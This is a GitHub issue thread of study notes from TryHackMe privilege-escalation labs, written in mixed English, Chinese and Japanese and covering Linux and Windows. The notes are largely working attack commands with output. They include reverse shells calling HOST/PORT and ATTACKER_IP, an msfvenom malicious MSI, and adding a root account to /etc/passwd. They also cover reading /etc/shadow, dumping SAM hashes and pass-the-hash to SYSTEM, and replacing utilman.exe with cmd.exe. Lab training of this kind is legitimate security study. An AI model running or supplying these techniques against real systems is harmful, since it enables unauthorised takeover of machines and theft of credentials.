WDavid404 / Note_tryhackme

0 stars 0 forks source link

Post Compromise -- Privilege escalation #2

Open WDavid404 opened 9 months ago

WDavid404 commented 8 months ago

Linux Privilege Escalation

Enumeration

Automated Enumeration Tools

Privilege Escalation: Kernel Exploits

  1. Identify the kernel version
  2. Search and find an exploit code for the kernel version of the target system -- https://www.exploit-db.com/exploits/37292
  3. Run the exploit
    
    ## for c code
    On Attack machine
    $ gcc ofs.c -o ofs
    $ python3 -m http.server 9000

On target machine $ cd /tmp/ $ wget :9000/ofs $ chmod +x ofs $ ./ofs


## Privilege Escalation: Sudo
- Command: `sudo -l` : 列举出哪些command可以执行sudo提升权限

User xxxx may run the following commands on XXX-M-XHXHK987AW: (ALL) ALL

<img width="754" alt="image" src="https://github.com/WDavid404/Note_tryhackme/assets/137129330/0891c58c-d5f5-47e8-bd3a-10f4e887fb22">

- 🌟可以使用的资源: https://gtfobins.github.io
- 给出的一个例子: 利用 LD_PRELOAD (LD_PRELOAD is a function that allows any program to use shared libraries)
前提:sudo -l的返回结果里发现存在“env_keep+=LD_PRELOAD”
利用: 
![image](https://github.com/WDavid404/Note_tryhackme/assets/137129330/8b6c8471-a988-4604-8fd2-f480bd2c2dc8)
then, We need to run the program by specifying the LD_PRELOAD option, as follows;
`sudo LD_PRELOAD=/home/user/ldpreload/shell.so find`

##  Privilege Escalation: SUID
- Commad `find / -type f -perm -04000 -ls 2>/dev/null `: list files that have SUID or SGID bits set.
  等同于` find / -perm -u=s -type f -ls 2>/dev/null`

> Set UID
> 当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd这个文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID。那么这个特殊权限的特殊性的作用是什么呢?
> 1、SUID权限仅对二进制程序(binary program)有效;
> 2、执行者对于该程序需要具有x的可执行权限;
> 3、本权限仅在执行该程序的过程中有效(run-time);
> 4、执行者将具有该程序拥有者(owner)的权限。
> SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。passwd就是一个很鲜明的例子,下面我们就来了解一下这相passwd执行的过程。
> 我们知道,系统中的用户密码是保存在/etc/shadow中的,而这个文件的权限是----------. (这个权限和以前版本的RHEL也有差别,以前的是-r--------)。其实有没有r权限不重要,因为我们的root用户是拥有最高的权限,什么都能 干了。关键是要把密码写入到/etc/shadow中。我们知道,除了root用户能修改密码外,用户自己同样也能修改密码,为什么没有写入权限,还能修 改密码,就是因为这个SUID功能。
> 

- 资料: https://gtfobins.github.io/#+suid
- 例子:利用passwd添加一个root用户 (passwd具有SUID)
1. 生成passwd的hash

openssl passwd -1 -salt xxxxxxxx password $1$xxxxxxxx$UYCIxa628.9qXjpQCjM4a.

![image](https://github.com/WDavid404/Note_tryhackme/assets/137129330/36bfcdff-9111-465e-b412-db41c85e519a)
2.添加到/etc/passwd文件里 (利用具有SUID的nano等工具)
![image](https://github.com/WDavid404/Note_tryhackme/assets/137129330/4dc9ad4e-7d91-453b-9980-efd27b860d1b)
`hacker:$1$THM$WnbwlliCqxFRQepUTCkUT1:0:0:root:/root:/bin/bash`

- 实践
1. find / -type f -perm -04000 -ls 2>/dev/null 的结果发现base64可以用(参照https://gtfobins.github.io/gtfobins/base64/)
<img width="948" alt="image" src="https://github.com/WDavid404/Note_tryhackme/assets/137129330/dafa9317-093b-4d5c-8782-9653a53c4fb4">
2. 执行命令: /usr/bin/base64 /etc/shadow |base64 --decode  可以看到/etc/shadow的内容

3.  破解user2的密码:
<img width="704" alt="image" src="https://github.com/WDavid404/Note_tryhackme/assets/137129330/20674b57-5957-456d-9d48-5b746db34f6d">

4. 查看flag3.txt内容
<img width="563" alt="image" src="https://github.com/WDavid404/Note_tryhackme/assets/137129330/e789c364-b3b4-440c-a410-5fc09ab5aef3">

## Privilege Escalation: Capabilities
- getcap

getcap -r / 2>/dev/null

-r: enables recursive search.

结果例:

/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep /usr/bin/dumpcap cap_net_admin,cap_net_raw=eip /usr/bin/fping cap_net_raw=ep /usr/bin/ping cap_net_raw=ep

上記出力結果を踏まえて、/usr/bin/pingファイルにcap_net_rawというcapabilityが設定されているのが分かります。pingコマンドはRAWソケットとPACKETソケットを使用しています。capabilityという仕組みを用いて、必要な権限だけを与えています。


关于cap_setupid 的说明: https://man7.org/linux/man-pages/man7/capabilities.7.html
ep的意思:has ALL the capabilites permitted (p) and effective (e) from the start.

- 实践
1. `capget / -r 2>/dev/null`
<img width="708" alt="image" src="https://github.com/WDavid404/Note_tryhackme/assets/137129330/37734c79-028c-480b-b0a4-6ee9eb4648d8">
2. 根据https://gtfobins.github.io/gtfobins/vim/#capabilities,执行下面命令
`./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
`
WDavid404 commented 8 months ago

Linux Privilege Escalation-2

Privilege Escalation: Cron Jobs

Command

cat /etc/crontab Note: " *" means the job will run every minute.

crontab -l : Listing cron jobs for the current user

ls -lah /etc/cron*

Scenario

The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:
1. System administrators need to run a script at regular intervals.
2. They create a cron job to do this
3. After a while, the script becomes useless, and they delete it
4. They do not clean the relevant cron job
Note: If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. 

例子: image You can see the backup.sh script was configured to run every minute. We can edit backup.sh as below to start reverse shell

#! /bin/bash
bash -i >& /dev/tcp/HOST/PORT 0>&1

Privilege Escalation: PATH

For demo purposes, we will use the script below:

#include <unistd.h>
void main()
{
setuid(0);
setgid(0);
system("thm");
}

This script tries to launch a system binary called “thm” but the example can easily be replicated with any binary. image By 'chmod u+s', Our user now has access to the “path” script with SUID bit set.

Privilege Escalation: NFS

NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.

The critical element for this privilege escalation vector is the “no_root_squash” option you can see above. By default, NFS will change the root user to nfsnobody and strip any file from operating with root privileges. If the “no_root_squash” option is present on a writable share, we can create an executable with SUID bit set and run it on the target system. 1. We will start by enumerating mountable shares from our attacking machine. `showmount -e 10.0.2.12` --> we can see '/backups' 2. We will mount one of the “no_root_squash” shares to our attacking machine and start building our executable. ``` mkdir /tmp/backupsonattackermachin mount -o rw 10.0.2.12:/backups /tmp/backupsonattackermachin ``` 3. As we can set SUID bits, a simple executable that will run /bin/bash on the target system will do the job. ``` #include void main() { setuid(0); setgid(0); system("/bin/bash"); } ``` 4. compile this code on the attacker machine (/tmp/backupsonattackermachin) ---> then, this file also exist on the target machine (/backups) ![image](https://github.com/WDavid404/Note_tryhackme/assets/137129330/11490667-9421-4e29-b072-2b58d75e6759)
WDavid404 commented 8 months ago

Windows Privilege Escalation

Harvesting Passwords from Usual Spots

  1. Unattended Windows Installations

    C:\Unattend.xml
    C:\Windows\Panther\Unattend.xml
    C:\Windows\Panther\Unattend\Unattend.xml
    C:\Windows\system32\sysprep.inf
    C:\Windows\system32\sysprep\sysprep.xml
  2. Powershell History On cmd prompt: type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

    image
  3. Saved Windows Credentials cmdkey /list : list saved credentials.

image

then, you can use the credentials by runas runas /savecred /user:{username} cmd.exe

  1. IIS Configuration

    • C:\inetpub\wwwroot\web.config
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
    • type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
  2. Retrieve Credentials from Software: PuTTY

    • command: reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s While PuTTY won't allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials. image
    • any software that stores passwords, including browsers, email clients, FTP clients, SSH clients, VNC software and others, will have methods to recover any passwords the user has saved.
WDavid404 commented 8 months ago

Windows Privilege Escalation

Scheduled Tasks

schtasks /query /tn vulntask /fo list /v to list the tasks.

C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName:                             THM-PC1
TaskName:                             \vulntask
Task To Run:                          C:\tasks\schtask.bat
Run As User:                          taskusr1

If our current user can modify or overwrite the "Task to Run" executable, we can control what gets executed by the taskusr1 user, resulting in a simple privilege escalation. To check the file permissions on the executable, we use icacls:

C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Administrators:(I)(F)
                    BUILTIN\Users:(I)(F)

As can be seen in the result, the BUILTIN\Users group has full access (F) over the task's binary. This means we can modify the .bat file and insert any payload we like. then, C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat run the task, And you will receive the reverse shell with taskusr1 privileges as expected: C:\> schtasks /run /tn vulntask

AlwaysInstallElevated

Windows installer files (also known as .msi files) can be configured to run with higher privileges from any user account (even unprivileged ones). This could potentially allow us to generate a malicious MSI file that would run with admin privileges. This method requires two registry values to be set. You can query these from the command line using the commands below.

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

この値が有効である(値が1である)場合、msiファイルは常にSYSTEM権限で実行されるので、権限昇格に利用されてしまいます。 必要がなければ、レジストリエディタで0に修正しましょう。

Generate a malicious .msi file using msfvenom, as seen below: msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.199.87 LPORT=LOCAL_PORT -f msi -o malicious.msi

run it C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Abusing Service Misconfigurations

Windows services are managed by the Service Control Manager (SCM). command: sc qc <service name> to check the service configuration check permission: icacls <service path. e.g. C:\PROGRA~2\SYSTEM~1\WService.exe> All of the services configurations are stored on the registry under HKLM\SYSTEM\CurrentControlSet\Services\:

To reset some service (e.g windowsscheduler)

sc stop windowsscheduler
sc start windowsscheduler

To grant full permissions to the Everyone group icacls WService.exe /grant Everyone:F

  1. Insecure Permissions on Service Executable: 比如某个server允许everyone去修改它
  2. Unquoted Service Paths:
    C:\> sc qc "disk sorter enterprise"
    [SC] QueryServiceConfig SUCCESS
    SERVICE_NAME: disk sorter enterprise
        。。。
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        。。。

    系统有下面3种解读: C:\MyPrograms\Disk.exe | 参数1: Sorter | 参数2: Enterprise\bin\disksrs.exe C:\MyPrograms\Disk Sorter.exe | 参数: Enterprise\bin\disksrs.exe |   C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |  


  1. Insecure Service Permissions To check for a service DACL from the command line, you can use Accesschk from the Sysinternals suite. accesschk64.exe -qlc thmservice 更改service的binPath,然后重新启动
    sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
    sc stop THMService
    sc start THMService

Abusing dangerous privileges

whoami /priv  (run as administrator)

image

SeBackup / SeRestore

The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.

  1. backup the SAM and SYSTEM hashes
    C:\> reg save hklm\system C:\Users\THMBackup\system.hive
    C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
  2. Use impacket's smbserver.py to start a simple SMB server
    mkdir share
    python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
  3. copy
    C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
    C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\
  4. use impacket to retrieve the users' password hashes
    
    user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821 [] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

5. use the Administrator's hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges

python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.117.69

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [] Requesting shares on 10.10.175.90..... [] Found writable share ADMIN$ [] Uploading file nfhtabqO.exe [] Opening SVCManager on 10.10.175.90..... [] Creating service RoLE on 10.10.175.90..... [] Starting service RoLE..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami nt authority\system


### SeTakeOwnership
The SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges
例子:
We'll abuse utilman.exe to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen。
Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like.
1. taking ownership of it with the following command:

C:> takeown /f C:\Windows\System32\Utilman.exe

SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".


2. give your user full permissions over utilman.exe
`icacls C:\Windows\System32\Utilman.exe /grant <user name>:F`
3. replace utilman.exe with a copy of cmd.exe:
`C:\Windows\System32\> copy cmd.exe utilman.exe`

### SeImpersonate / SeAssignPrimaryToken
These privileges allow a process to impersonate other users and act on their behalf.
WDavid404 commented 8 months ago

Windows privilege escalation

Abusing vulnerable software

Unpatched Software

wmic tool: wmic product get name,version,vendor Note: wmic product command may not return all installed programs. Depending on how some of the programs were installed, they might not get listed here. It is always worth checking desktop shortcuts, available services or generally any trace that indicates the existence of additional software that might be vulnerable.

image

online info: https://www.exploit-db.com/ https://packetstormsecurity.com/

Case Study: Druva inSync 6.6.3

WDavid404 commented 8 months ago

Windows privilege escalation

Tools

resources

PayloadsAllTheThings - Windows Privilege Escalation Priv2Admin - Abusing Windows Privileges RogueWinRM Exploit Potatoes Decoder's Blog Token Kidnapping Hacktricks - Windows Local Privilege Escalation